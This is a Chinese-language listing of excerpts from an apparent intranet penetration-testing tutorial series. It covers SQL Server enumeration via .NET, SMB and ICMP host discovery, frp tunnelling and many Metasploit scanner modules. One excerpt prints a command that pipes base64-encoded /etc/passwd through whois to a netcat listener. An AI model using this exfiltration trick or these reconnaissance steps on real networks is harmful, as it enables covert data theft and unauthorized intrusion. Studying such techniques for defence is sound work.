连载1 从 xp 开始默认有 .net framework,在 powershell 后，调用起来更方便。 连载1 System.Data.SqlClient 命名空间是用于 SQL Server 的 .NET 数据提供程序。在net framework2.0中新增加SqlDataSourceEnumerator 类。提供了一种枚举本地网络内的所有...

利用whois传输文件： 传输机： root@john :~# whois - h 127.0 . 0.1 - p 4444 `cat /etc/passwd | base64` 接受机： root@john :/ tmp # nc -l -v -p 4444 | sed "s/ //g" | base64 -d ...

基于msf 基于cme（参考第九十三课） 基于nmap 基于CMD： 基于powershell： 基于msf 模块：scanner/smb/smb_version msf auxiliary ( scanner / smb / smb_version ) > show options Module options ( a...

ICMP简介： nmap扫描： CMD下扫描： powershell扫描： 附录: ICMP简介： 它是TCP/IP协议族的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用。 nmap扫描： ro...

通过自定义域名访问部署于内网的 web 服务 通过自定义域名访问部署于内网的 web 服务 有时想要让其他人通过域名访问或者测试我们在本地搭建的 web 服务，但是由于本地机器没有公网 IP，无法将域名解析到本地的机器，通过 frp 就可以实现这一功能，以下示例为 http 服务，https 服务配置方法相同， vhost_http_port 替换为...

二十一：基于auxiliary/scanner/pop3/pop3_version发现内网存活主机 二十二：基于auxiliary/scanner/postgres/postgres_version发现内网存活主机 二十三：基于auxiliary/scanner/ftp/anonymous发现内网存活主机 二十四：基于db_nmap发现内网存活主机 ...

十一：基于auxiliary/scanner/netbios/nbname发现内网存活主机 十二：基于auxiliary/scanner/http/title发现内网存活主机 十三：基于auxiliary/scanner/db2/db2_version发现db2服务 十四：基于auxiliary/scanner/portscan/ack发现内网存活主机...

二十五：基于windows/gather/arp_scanner发现内网存活主机 二十六：基于windows/gather/enum_ad_computers发现域中存活主机 二十七：基于windows/gather/enum_computers发现域中存活主机 二十八：基于windows/gather/enum_domain发现域中存活主机 二十九...

十六：基于auxiliary/scanner/portscan/syn发现内网存活主机 十七：基于auxiliary/scanner/portscan/ftpbounce发现内网存活主机 十八：基于auxiliary/scanner/portscan/xmas发现内网存活主机 十九：基于auxiliary/scanner/rdp/rdp_scanner...

六：基于auxiliary/scanner/ssh/ssh_version发现SSH服务 七：基于auxiliary/scanner/telnet/telnet_version发现TELNET服务 八：基于scanner/discovery/udp_probe发现内网存活主机 九：基于auxiliary/scanner/dns/dns_amp发现内网存...